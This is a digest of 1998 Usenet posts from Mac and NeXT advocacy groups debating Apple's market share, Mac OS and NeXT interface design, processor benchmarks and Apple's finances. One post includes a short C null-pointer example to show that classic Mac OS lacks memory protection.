> >Again, could you give me an example of something that you would print that
> >is NOT file-related?
>
> Let's say you've got a network packet sniffer going. Until you save that
> data somewhere, it's not associated with any file on a filesystem, yet it
> makes sense to be able to print a particular packet you're interested in.
Who says that a file has to be saved to disk (on a filesystem) before it
becomes a file? I can create a word-processing file, edit it, print it, and
choose not to save it to disk. That doesn't change the fact that the
collection of data I worked on and printed was a file. It just wasn't a
file that was ever saved to disk.
And with the packet-sniffer example, the data you collect IS in a file; the
file is maintained in memory. Whether or not that data has been written to
the filesystem is irrelevant.
Andy Bates.
From: nospamhattonr@aug.com (Rick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Mon, 27 Jul 1998 20:14:30 -0500
Organization: http://www.supernews.com, The World's Usenet: Discussions Start Here
Message-ID: <19980727201430142403@pm2-2-05.aug.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol.net> <35B7ABED.1AFBFB66@ericsson.com> <jpolaski-2407980852040001@d151-33.ce.mediaone.net> <35B892EE.D87B3ED9@nstar.net> <gmgraves-2407981156090001@sf-usr1-51-179.dialup.slip.net> <joe.ragosta-2407982240030001@elk55.dol.net> <gmgraves-2507981418380001@sf-usr1-25-153.dialup.slip.net>
George Graves <gmgraves@slip.net> wrote:
> But Joe, they are STILL losing market share.
Actually Apple is gaining in market share.
> The MacOS is not growing, unit I own a copy of MacOS now. I run it on a
>Power Computing machine. Next year I will be forced to buy a G3 or G4
>machine from Apple so that I can run OS-X (which galls me, but that's
>another story).
Then dont run OS X. Almost all of the apps will run on 8.x or 9.x. As
for "forced upgrading"... that hasnt stopped anything in the wintel
world. That sort of thing has been going on forever.
> My purchase will increase the number of computers Apple will sell in that
> quarter by one. It will even help that quarter's market share figure. But
> since I already run MacOS, it will not increase the size of the Mac OS
> market ONE BIT.
But... if Apple is doubleing their retail sales (and the machine prices
are cheaper, increasing their education sales and making profits - all
while slashing peripheral type sales, how can Apple not be getting
stronger?
Doom and gloom. Bah. After listening to it for over 12 years, it gets
boring.
--
*** To reply via email remove nospam from my return address. ***
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Mon, 27 Jul 1998 17:18:07 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6pj5u3$bsh$1@plo.sierra.com>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net> <6p5mqd$nsu$1@nnrp1.dejanews.com> <Josh.McKee-2307981810170001@pm3a8.rmac.net> <6p9acg$o8n$1@nnrp1.dejanews.com> <joe.ragosta-2507981956290001@elk82.dol.net> <6phbrl$ibc$1@nnrp1.dejanews.com> <6pim7q$6sg$1@supernews.com>
NNTP-Posting-Date: 28 Jul 1998 00:27:47 GMT
Nevin ":-]" Liber wrote in message <6pim7q$6sg$1@supernews.com>...
>
>Under just about every OS out there, writing to the null address causes a
>crash *of the application*. The MacOS is no different in this respect.
MacOS is very different in that respect.
>Running the following program under Solaris:
>
>void main(void)
>{
> char * null = 0;
>
> *null = 0;
>}
>
>I get:
>
>Segmentation fault (core dumped)
Run that program under MacOS and it will execute without warning or error.
Change it to the following, and MacOS will crash (totally frozen system),
without ever giving an error message:
void main(void)
{
char * null = 0;
while (1)
*null++ = 0;
}
>What exactly do you think should happen??
Exactly what Solaris, BeOS, Win95, WinNT, etc. do.
From: ERASE.this.dennis.scp@multiweb.nl (Dennis SCP)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Tue, 28 Jul 1998 02:18:41 +0200
Organization: Mac OS 8 Icon Update 1.0
Message-ID: <1dcuo10.1rj9fxyx5rw94N@hoorn07.multiweb.net>
References: <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <1dchpf0.x2f9hed1v9sgN@rhrz-isdn3-p37.rhrz.uni-bonn.de> <Pine.SOL.3.96.980721100007.9943A-100000@ux7.cso.uiuc.edu> <andyba-ya02408000R2107981835050001@news> <Pine.SOL.3.96.980722104316.22438D-100000@ux8.cso.uiuc.edu> <andyba-ya02408000R2307981115550001@news> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <1dco1vu.1tcsxcs13uk71oN@hoorn23.multiweb.net> <Pine.SOL.3.96.980724134947.26891A-100000@ux8.cso.uiuc.edu> <1dcrv9l.wtv1wr1idgbl2N@hoorn02.multiweb.net> <Pine.SOL.3.96.980727112448.21442C-100000@ux7.cso.uiuc.edu>
5iBX?hr:nQb&.MA|;6*WHFudDTiUxRJ'bCt|/F#Ct|'y_(I*Emh>1BP@cvz@pT]EiG%
Pulsar <tokarek@uiuc.edu> wrote:
> On Sun, 26 Jul 1998, Dennis SCP wrote:
>
> > Pulsar <tokarek@uiuc.edu> wrote:
> >
> > > Put Away is another way of unmounting and ejecting a disk. Why is it
> > > called "Put Away" and why is it under the file menu? That doesn't make
> > > much sense either (for mounted volumes anyway).
> >
> > I think it's just a legacy thing, let's hope it's solved in Mac OS X.
>
> Put Away actually does provide a useful function. Try dragging a dozen
> files scattered about your hard drive to the trash. You want to put them
> back? You don't have to remember where everything was, just select Put
> Away. Have you moved a file somewhere you didn't really want to, but don't
> want to go to the trouble of manually putting it back, use Put Away.
Sorry, but Apple decided in all it's UI wisedom that Put Away items only
work in the trashcan and on the desktop. But with a control panel like
FinderPop you can do it from any place.
> > That would be slow and a full of faults. (Many data structures are
> > similar but must be interpreted differently).
>
> I don't think it needs to be slow or full of faults. Computers are getting
> very fast and I'd bet a system of discerning the type based on the
> contents of the file could be come up with.
>
> What data structures are similar but handled differently? There are
> obviously differences that allow a program to work with the different file
> appropriately.
Sorry, can't find it anymore. There was a thread about such a program
here or in next.advocacy. The idea seems pretty simple but good results
are apperently hard to get. And don't underestimate the time needed on
searching through files while recognising common patterns and
mathmetical similarities. (I heared doing it by dna goes pretty fast but
getting that inforamtion back into a computer is a lot harder:-)
> > This must be standardized
> > worldwide, we need an ISO standard on Header definition, submission and
> > header database distribution. So that all systems can recognise data
> > formats and get translation instructions from dedicated internet
> > databases.
>
> That would be okay I suppose. I was thinking of something much less global
> in scope. Applications could register the file types they can open.
> Perhaps this registration would mean having a bit of code that goes
> through a file in an effort to see if it is a supported type. The OS would
> just use that code to test the file.
>
> If it is an unrecognized type or if the file type is not specifcally
> recognised, then the OS could prompt the user with a list of most likely
> apps that could open it.
You mean like GrapicConverter which analises any given file and tries to
recover any pictures out of it? And you want this for all filetypes at a
system level? How many programmers can you spare? Even if all programs
would come with home made analizer plug-ins it would be quite a big
project. Purging each new file through thousands of filters to come up
with maches, mayby it's a nice idea for MS Windows 2000. You've seen
yourself that Dataviz Exchange doesn't do the job flawlesly.
Usenet is a good example of how headers can help in a big way.
> > - When windows are auto-opening moving away from the collection of
> > windows closes them all.
> A short time delay between window closings might be a great idea. That way
> all the windows could close in a cascade that could be stopped by the
> user by putting the pointer in one of those windows.
Yep, Apple overlooked a simple solution.
> > > No undo in the Finder except for file renaming. (This is a big one I
> > > think.)
> >
> > This is too big. Like making everyting speech controlled you must create
> > a fully implemented API to create undo or you'll end up in more
> > frustration because as soon as you think it's there you'll find out it's
> > not available everywhere. (Mac OS X has rumors of an undo framework)
>
> Wouldn't there be a way through the use of scripting events? Those are
> already available. All Apple would have to do is trap the last event (file
> move, deletion, copy, renaming, or whatever) and use that as an undo. I
> dunno.
Sure, Apple could write all sorts of special undo functions, but in the
end it would probably be called bloatware ;-)
> > > No quick way to get to higher level folders in the heirarchy if their
> > > windows have been closed. (Yeah. I know command-click on the title...
> > > that's not good enough).
> >
> > Contextual closebox anyone?
>
> Nope. I don't want a contextual thingy. I want a widget somewhere on or in
> the Finder window. Surely there's a solution. A contextual method would be
> fine in addition to this, but I want the widget.
I used to think I wanted an eject box next to close box. Now I want
Option+Command+E to eject all disks.
I played around with Command+Up and Down arrow, pretty weird. (again it
only works with Finder windows <sigh>.)
> > > Clicking and dragging the resize tab of a background window moves the
> > > window (not resizes it).
> >
> > Hey, you sniped that one.
>
> <innocently> Did I? (Really! Did I?)
:-)
- Windows can be dragged in the background but not resized or scrolled.
(Making working with multiple windows a bit more difficult)
:-)
>
> > You forgot not being able to scroll background
> > windows :-) I believe you should also be able to scroll a background
> > window just by moving around the contents (gimme that hand pointer).
> > Windows should only pop to the foreground with a single click.
>
> Yes, I think that would be a good thing.
http://home.earthlink.net/~mickelsn/rhapsodic/ideas/
Had a collection a userrequests and a link to a html Apple ideas page
'We do read an appriciate feedback' Let's hope it's still active...
Dennis SCP (The later it gets the less I think about using a dictionary)
--
[MS Office Assistant: Uw signature is leeg. Weet u zeker dat u niets
nuttigs aan de mensheid heeft mede te delen?]
From: pxpst2@SPAM.SUXS.unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: %9.4 figure is NOT RELEVANT!
Date: Mon, 27 Jul 1998 21:07:21 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-2707982107220001@pelli.pathology.pitt.edu>
References: <35bbcc48.0@news.depaul.edu> <B1E14963-127A3@206.165.43.43> <joe.ragosta-2707980637150001@elk49.dol.net> <macghod-2707981218350001@sdn-ar-001casbarp306.dialsprint.net>
Mail-Copies-To: pxpst2@SPAM.SUXS.unixs.cis.pitt.edu
In article <macghod-2707981218350001@sdn-ar-001casbarp306.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> In article <joe.ragosta-2707980637150001@elk49.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > > The claim is that Apple now has nearly 10% of that market.
> > >
> > > Doesn't make sense.
> >
> > Take it up with PC Data.
>
> I hope no one brings this figure up anymore. I am not going to argue that
> the retail market is getting more and more irrelevant (tho I do), its
> simply we havent really had the facts to discuss this.
Listen, you may have a problem with the definition of the retail space(ie
not including mail order) but that is the way the numbers are made, But
the retail space is not irrelavent. Your statement is somewhat ludicrous
because you assume that MOST peaple will order their first computer from a
mail order house. Well I do not want to shock you but MOST peaple do not
even have a computer and are terrified of them. If they are ever going to
buy a computer I assure you that it will be from a local retailer NOT mail
order. This may chaange on the second computer but not the first.
>
> A good many of us saw this from macosrumors, which was totally factually
> inaccurate. We couldnt view the original report from pc data because you
> have to be a subscriber to do so.
Actually MacOSRUMORS miswrote the story but I first saw it at either YaHoo
on a reuters feed or at Thessa Source. And you should know that MOSR is
not a news site for that kind of info. They are great at the soft
news(aka rumor mongering that I LIKE) but when it comes to Hard JOURNALISM
( those guys have little to no experience). Reuters they are not
Peter
--
"Don't you eat that yellow snow
watch out where the Huskies go" FZ
---------------------------------------------------------------------
From: mclark@htg.net (M. Clark)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: PII 46% faster than G3 according to industry standard benchmarks
Date: Mon, 27 Jul 1998 18:44:50 +1000
Organization: Huntleigh Telecom, El Paso TX
Message-ID: <1998072718445027775@pm3-1-183.htg.net>
References: <35ba8474.0@news1.ibm.net> <35bcaf22.4151551@news.newsguy.com> <35BB6D7C.D0A9AC94@bellsouth.net> <Macghod-2607981534460001@sdn-ar-001casbarp113.dialsprint.net> <35BBF9FA.5869D6D3@bellsouth.net> <35bca6cb.162577578@198.0.0.100>
nate <nhughes@sunflower.com> wrote:
> On Mon, 27 Jul 1998 00:50:34 GMT, Harrison Murchison
> <murchy@bellsouth.net> wrote:
>
> >It's Ironic that some of you smirk at a "30%" advantage. Keep this in mind, w
ith a
> >30% advantage a 3D rendering job that takes 3 hours on a PC would take 2 hour
s on a
> >G3 mac. Isn't that worth a little more money?
>
>
> It is ironic. Given that the G3 "might" be 30% faster per Mhz than
> the PII (the G3 I use isn't), and that the fastest currently shipping
> Wintel is clocked 33% faster than the mac then it would appear that
> macs and PCs are just about even. Well, it would appear that way
> until you start talking about Xeons and Dual processor Wintel
> machines. Add those into the mix and apple comes out the loser- as
> usual.
>
> Hell, given your 30% estimate, my 10 month old dual PII is STILL
> faster than anything apple can build.
Even us close-minded Mac users had no problems admitting that the older
680x0 based Macs were slower than their Intel counterparts.
M. Clark
>
>
>
> Nathan A. Hughes
> MFA Candidate
> The University Theatre, KU
> http://scenedesign.home.ml.org
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 28 Jul 1998 01:13:14 GMT
Organization: I don't think so
Message-ID: <slrn6rq9lp.na3.jason@jhste1.dyn.ml.org>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <joe.ragosta-2707980631070001@elk49.dol.net> <macghod-2707981159350001@sdn-ar-001casbarp306.dialsprint.net>
Steve Sullivan posted the following to comp.sys.mac.advocacy:
>> Sure. And in another thread you called Donal Brown a lame programmer which
>> is direct libel. That's supposed to be OK, but I say that if I remember
>> something correctly..... and I turn out to be wrong and you threaten to
>> sue me?
>> I guess you really _are_ threatened by people pointing out the facts in
>> this group.
>Oh really? It looked to me like he called him a "lame oop programmer",
>meaning he WASNT slandering Donald, but slandering oop instead. And I
>dont think oop has standing in court to sue people, but Jason s can
>correct me if I am wrong :P
Well, I'll apply my English degree, instead of my law degree, to this
one. It looks like "oop" modifies "programmer," just as "lame" modifies
"programmer." So he's a "lame programmer, who uses oop programming,"
as I read it.
Oops (pun intended)! Donald should be pissed (but lawsuits are for
wussies).
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 27 Jul 1998 17:30:14 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2707981730140001@news>
References: <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com> <35b5b550.0@nnrp1.news.uk.psi.net> <35BC951E.4608D7E0@nstar.net> <Pine.SOL.3.96.980727101621.21442A-100000@ux7.cso.uiuc.edu>
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In article <Pine.SOL.3.96.980727101621.21442A-100000@ux7.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
> When you bring up a submenu in the Mac OS, you have a list of menu choices
> stacked on top of one another. Choices that bring up other submenus have
> arrows pointing to the right to indicate that selecting that will do
> nothing but bring up another submenu.
Correct: arrows indicate submenus.
> At the top level of the Macintosh
> menu bar, there is no indication of which choices will bring down
> submenus. In the lower levels, there are indicators.
That's because NONE of the choices at the top level of the menu bar bring
down submenus! They bring down menus! And since all of them bring down
menus, they do not need any sort of indicators.
The Mac OS menu interface is only inconsistent if you assume that the top
level should have buttons that do not invoke menus. However, since this is
not the case, it is perfectly consistent.
Andy Bates.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 27 Jul 1998 17:32:09 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2707981732090001@news>
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com> <6p50k6$b1o$2@lwnws01.ne.highway1.com> <joe.ragosta-2207981217170001@wil79.dol.net> <6p5bhr$hm1$1@lwnws01.ne.highway1.com> <andyba-ya02408000R2307981134080001@news> <6pgjkh$1i1$4@lwnws01.ne.highway1.com> <35BC0EF4.D2D0F1C8@nstar.net> <6pi3dq$32n$1@lwnws01.ne.highway1.com>
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In article <6pi3dq$32n$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net wrote:
> No, I didn't admit that because I don't believe that. I think that the
> NeXTUI works well on almost any display that does 1024X768 on up. This
> includes 11.3" XGA displays. For me it looks fine on those displays. YMMV.
>
> You're either being rhetorical, or not getting what I said. I think that
> laptop and desktop machines are generally close enough in screen use, today,
> that it makes a lot of sense for them to share a common UI. Palmtop/PDA
> machines use so drastically a smaller and less capable a display that it
> makes sense to have a different UI for such units.
You admit that you can run 1024x768 on an 11.3" display, but you don't
believe that you can run 640x480 on a 9" display? The Mac OS runs quite
well in 640x480, so a 9" screen should be no problem.
Andy Bates.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: New PowerPCs are announced
Date: 27 Jul 98 18:18:10 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E274EF-1342E@206.165.43.181>
References: <6pior2$7s4@newsb.netnews.att.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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nntp://news.primenet.com/comp.sys.mac.advocacy
gupta@kcopsrm.tm.tta.moc-mirror said:
>Motorola claims SPECint95 of 16.1, SPECfp95 of 9.9 @ 366 MHz
>with a 244 MHz, 1 MB L2. (The 300 MHz part gets 14.0 SPECint95
>with a 150 MHz, 1 MB L2.)
>
>Not a tremendous speed-bump, but the power consumption reduction
>should be very nice for laptops.
AND it gives the iMac some room for growth.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple heading to obscurity?
Date: 28 Jul 1998 01:19:05 GMT
Organization: I don't think so
Message-ID: <slrn6rqa0p.na3.jason@jhste1.dyn.ml.org>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <6pcnrs$2nn$1@nnrp03.primenet.com> <MPG.10241087c3e86ccb9899fd@news.supernews.com> <6pdtgc$kif$2@news.xmission.com> <MPG.1024ffe3de969257989a09@news.supernews.com> <35BB5C55.720E1EDF@planetary.net> <joe.ragosta-2607981539250001@elk62.dol.net> <6pggns$1i1$1@lwnws01.ne.highway1.com> <joe.ragosta-2607982105300001@elk91.dol.net> <6pglve$1i1$6@lwnws01.ne.highway1.com> <joe.ragosta-2707980631070001@elk49.dol.net> <macghod-2707981159350001@sdn-ar-001casbarp306.dialsprint.net> <joe.ragosta-2707981611370001@wil75.dol.net> <6piq2p$g3o$1@lwnws01.ne.highway1.com>
John Kheit posted the following to comp.sys.mac.advocacy:
>> > > Sure. And in another thread you called Donal Brown a lame
>> > > programmer which is direct libel. That's supposed to be OK,
>> > > but I say that if I remember something correctly..... and I
>> > > turn out to be wrong and you threaten to sue me?
>You see, offering my opinion about someone's abilities is not slander.
This is a close one - if the opinion might be accepted as fact, it could
be defamation.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: alex@webis.net (Alex Kac)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Mon, 27 Jul 1998 20:19:48 -0500
Organization: Web Information Solutions---Interactive and database web design studio
Message-ID: <alex-2707982019480001@castle.webis.net>
References: <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980723142547.24544A-100000@ux9.cso.uiuc.edu> <andyba-ya02408000R2407981101130001@news> <Pine.SOL.3.96.980727102938.21442B-100000@ux7.cso.uiuc.edu> <6picpl$6pd@newsb.netnews.att.com> <Pine.SOL.3.96.980727170446.19424C-100000@ux7.cso.uiuc.edu>
NNTP-Posting-Date: 28 Jul 1998 01:19:48 GMT
In article <Pine.SOL.3.96.980727170446.19424C-100000@ux7.cso.uiuc.edu>,
Pulsar <tokarek@uiuc.edu> wrote:
: On 27 Jul 1998 gupta@kcopsrm.tm.tta.moc-mirror wrote:
:
: > Pulsar <tokarek@uiuc.edu> wrote:
: > >
: > >Windows has the taskbar. While this isn't perfect, it is much more useful
: > >than the Macintosh application menu. It presents an obvious way to
: > >switch between applications and provides clear indication of what is
: > >currently running. Each window in Windows has an icon and usually an
: > >applicaiton name that associates that window with a particular
: > >application.
: >
: > Closing all the windows of an application in Windows makes the application
: > go away. The taskbar shows only the set of windows, and doesn't solve
: > the problem.
:
: It does to solve the problem since it provides the user a clear indication
: of what is running. If you close all Netscape Windows, the program is no
: longer running in Windows whereas if you close all the Netscape windows on
: the Mac OS, the program is _still_ running. There is also an obvious
: indication that a program is still running since it gets a button on the
: task bar. You have to manually check the application menu on the Mac OS to
: see what's running.
:
: The taskbar is not perfect, but it does a better job than the Mac OS
: Application Menu.
:
I disagree. One of the things I hate about Windows is that under the SDI
approach (Mac like), when you clost the last window, the program quits. I
hate this. I like to have Netscape running without windows for hours at a
time. The problem I have is that under Windows, if I'm working on a lot of
projects, the Netscape window provides clutter. I don't want to minimize
it since it still takes up a good portion of space on the task bar. So I
close the window. But then when I do want to run it, I have to reload the
app. Even on our PII-300 here, it takes way too long to open.
On my Mac, I just hide it or close the window and I'm fine. I have GoMac
(and love it), but I can minimze NetScape's task bar slot to almost
nothing.
--
Alex Kac
Web Information Solutions CEO
Dynamic Business Publishing - Tango 3 Solution Provider
http://www.WebIS.net
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 27 Jul 98 18:26:25 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E276DE-1A874@206.165.43.181>
References: <not-2707981327520001@ip-26-031.phx.primenet.com>
Mime-Version: 1.0
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nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Michael M. Eilers <not@a.valid.email.add> said:
>Well, you really wouldn't have a choice. I know that the level of
>animosity towards Jobs is high on this group, and I'm no abject worshipper
>myself, but he did rescue Apple for us. Remember, under Amelio Apple bled
>money three quarters in a row, and the stock price bottomed out beyond
>belief (12! 12 was the low, dammit! And now it is 36!).
Apple bled money because:
Amelio had to deal with Spindler's missteps in forcasting.
Amelio laid off a HUGE number of workers.
Amelio had to deal with his own missteps in forcasting.
Amelio bought NeXT.
Amelio laid off another huge number of workers.
Amelio slashed the R&D budget by 50% over the last 2 years.
Jobs hasn't had to deal with any forcasting missteps yet (he let Christmas
go, rather than try to sell consumer boxes last year). He hasn't had to lay
off huge numbers of workers. And he hasn't had to buy NeXT and the R&D
budget has already been slashed.
Of course he's been able to show a profit. If Apple still had the R&D
profit it had two years ago, Apple would have had ZERO profit the last
three quarters.
My biggest worry is that by betting the farm on iMac, Jobs is risking
another huge glut of inventory after Christmas. The only saving grace is
the fact that there's a LOT of margin that could be cut in order to move
iMac boxes after Christmas, so Apple may not show a post-Christmas loss,
even if iMac doesn't do as well as hoped.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: quinlan@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Ever
Date: Tue, 28 Jul 1998 01:16:20 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pj8p5$4c7$1@nnrp1.dejanews.com>
Have you ever quit an application because you didn't plan on using it anymore
rather than because you needed the memory? I do that all the time on Windows
95, the MacOS and OS because I find that really long lists of running
applications make it harder for me to pick the one that I want. That, to me,
indicates poor user interface design. Can anyone think of a solution?
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Message-ID: <1998072801375400.VAA22633@ladder03.news.aol.com>
Date: 28 Jul 1998 01:37:54 GMT
Organization: AOL http://www.aol.com
References: <andyba-ya02408000R2707981730140001@news>
As regards the matter of interface and system size/form-factor.
I've not seen any really positive reviews of WinCE keyboard systems which treat
them as anything other than pocketable laptops, with the assumption that one
would put it down and type, etc.
For my part, I find that much too limiting for the usage of the machine, and
would have to agree with the (millions?) who've purchased PalmPilots, and the
tens of thousands who purchased Newtons, HP OmniGos and other pen oriented
system.
Ask anyone who has a graphics tablet if this is efficient for manipulating a
mouse-based interface--dragging is awkward with a stylus for a long distance,
much of the interaction is obscured by one's hand, etc.
Also, gestures do much to enhance the usefulness of a limited screen
size/widget display.
Secondly, the Mac OS is application centric--one must start/have active an app
to work with a file--no direct, seemless interaction a la Newton or
PenPoint--even HP's NewWave managed to be better than the Mac in this regard.
I for one doubt that Apple is in a position to survive burying two excellent
interfaces, the NewtonOS and NeXT/OpenStep's. Apple needs every advantage it
can find, and positive press the likes of which the NeXT UI and Newton OS 2
garnered would help a great deal.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: "Jonathan Hendry" <jhendry@cmg.fcnbd.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 28 Jul 1998 01:38:59 GMT
Organization: Steel Driving Software
Message-ID: <01bdb9f2$93529910$3643bacd@isdnjhendry>
References: <not-2307981027360001@ip-26-096.phx.primenet.com> <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu> <not-2307981300150001@ip-167-019.phx.primenet.com> <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu> <not-2407981240410001@ip-26-162.phx.primenet.com> <Pine.SOL.3.96.980724150050.26891B-100000@ux8.cso.uiuc.edu> <not-2407981816490001@ip-26-140.phx.primenet.com> <Pine.SOL.3.96.980725232001.7987D-100000@ux7.cso.uiuc.edu> <not-2607981725340001@ip-26-178.phx.primenet.com> <Pine.SOL.3.96.980726224322.27762B-100000@ux8.cso.uiuc.edu> <not-2707981327520001@ip-26-031.phx.primenet.com> <joe.ragosta-2707981722550001@wil31.dol.net>
Joe Ragosta <joe.ragosta@dol.net> wrote in article
<joe.ragosta-2707981722550001@wil31.dol.net>...
> In article <not-2707981327520001@ip-26-031.phx.primenet.com>,
> eilersm@psn.net wrote:
>
> > In article <Pine.SOL.3.96.980726224322.27762B-100000@ux8.cso.uiuc.edu>,
> > Pulsar <tokarek@uiuc.edu> wrote:
> >
> > > I think Apple needs to get on the AGP bandwagon soon or it will be
very
> > > left behind. PCI is starting to be a real limitation. The available
> > > bandwidth is not nearly so impressive anymore. A 64bit 66MHz PCI
would be
> > > fine except that there are already a bunch of good AGP cards out
there now
> > > with even better ones coming through the pipeline.
> >
> > What about Macs with a 80 MHz or 110 MHz PCI bus? I have a 60 MHz bus
in
> > my PowerCenter Pro and it drives PCI cards noticeably faster than the
50
> > MHz bus in my 7500.
>
> NOT.
>
